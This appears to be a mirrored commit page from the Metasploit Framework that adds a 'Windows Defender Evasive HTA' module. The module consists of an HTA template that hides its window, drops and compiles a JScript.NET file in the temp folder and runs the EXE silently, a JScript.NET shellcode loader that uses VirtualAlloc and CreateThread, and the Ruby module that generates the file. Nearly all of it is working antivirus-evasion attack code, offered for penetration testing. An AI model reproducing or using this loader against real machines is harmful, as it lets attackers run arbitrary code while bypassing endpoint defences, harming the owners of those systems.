1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-08-28 23:26:18 +02:00

Add evasion module using HTA + JavaScript + C#

This commit is contained in:
space-r7 2018-10-01 12:57:05 -05:00 committed by Wei Chen
parent 02ef565730
commit a0052c7f47
3 changed files with 282 additions and 0 deletions

View File

@ -0,0 +1,76 @@
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
function InvokeWin32(dllName:String, returnType:Type,
methodName:String, parameterTypes:Type[], parameters:Object[])
{
// Begin to build the dynamic assembly
var domain = AppDomain.CurrentDomain;
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
var module = assembly.DefineDynamicModule('PInvokeModule');
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
// Define the actual P/Invoke method
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
// Apply the P/Invoke constructor
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
method.SetCustomAttribute(attr);
// Create the temporary type, and invoke the method.
var realType = type.CreateType();
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
}
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
}
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
}
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
{
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
var parameters:Object[] = [handle, dwMiliseconds ];
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
}
function ShellCodeExec()
{
var MEM_COMMIT:uint = 0x1000;
var PAGE_EXECUTE_READWRITE:uint = 0x40;
var shellcodestr:String = '<%= file_payload %>'
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
var hThread:IntPtr = IntPtr.Zero;
var threadId:UInt32 = 0;
// prepare data
var pinfo:IntPtr = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
ShellCodeExec();

View File

@ -0,0 +1,150 @@
<html>
<head>
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
</head>
</html>
<script>
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
// variable names changed to make obfuscation easier
var Base64 = {
// private property
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var input_idx = 0;
var chr1 = 0;
var chr2 = 0;
var chr3 = 0;
while ( input_idx < utftext.length ) {
chr1 = utftext.charCodeAt(input_idx);
if (chr1 < 128) {
string += String.fromCharCode(chr1);
input_idx++;
}
else if((chr1 > 191) && (chr1 < 224)) {
chr2 = utftext.charCodeAt(input_idx+1);
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
input_idx += 2;
} else {
chr2 = utftext.charCodeAt(input_idx+1);
chr3 = utftext.charCodeAt(input_idx+2);
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
input_idx += 3;
}
}
return string;
}
};
decodedStr = Base64.decode("<%= jsnet_encoded %>");
function getTempPath()
{
var TemporaryFolder = 2;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
return tempPath;
}
var path = getTempPath();
function makefile()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
thefile.WriteLine(decodedStr);
thefile.Close();
}
makefile();
function findJSC()
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
var jscPath = "";
if(!fso.FolderExists(comPath))
{
return false;
}
var frameFolder = fso.GetFolder(comPath);
var fEnum = new Enumerator(frameFolder.SubFolders);
while(!fEnum.atEnd())
{
jscPath = fEnum.item().Path;
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
{
return jscPath + "\\\\jsc.exe";
}
fEnum.moveNext();
}
return false;
}
var comPath = findJSC();
if(comPath)
{
var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\\\\<%= fname %>.js";
var ex = path + "\\\\<%= fname %>.exe";
objShell.run(comPath + " /out:" + ex + " " + js_f);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);
}
</script>

View File

@ -0,0 +1,56 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Evasion
def initialize(info={})
super(merge_info(info,
'Name' => 'Microsoft Windows Defender Evasive HTA',
'Description' => %q{
This module will generate an HTA file that writes and compiles a JScript.NET file
containing shellcode on the target machine. After compilation, the generated EXE will
execute the shellcode without interference from Windows Defender.
},
'Author' =>
[
'sinmygit', # PoC
'Shelby Pace' # Metasploit Module
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' => [ [ 'Microsoft Windows', {} ] ]
))
register_options([
OptString.new(
'FILENAME',
[
true,
'Filename for the evasive file (default: random)',
"#{Rex::Text.rand_text_alpha(3..10)}.hta"
])
], self.class)
end
def run
# This is used in the ERB template
file_payload = Rex::Text.encode_base64(payload.encoded)
jsnet_code = File.read(File.join(Msf::Config.data_directory, 'exploits', 'evasion_shellcode.js'))
fail_with(Failure::NotFound, 'The JScript.NET file was not found.') unless File.exists?(jsnet_code)
js_file = ERB.new(jsnet_code).result(binding())
jsnet_encoded = Rex::Text.encode_base64(js_file)
# This is used in the ERB template
fname = Rex::Text.rand_text_alpha(6)
hta = File.read(File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta'))
fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exists?(hta)
hta_file = ERB.new(hta).result(binding())
file_create(hta_file)
end
end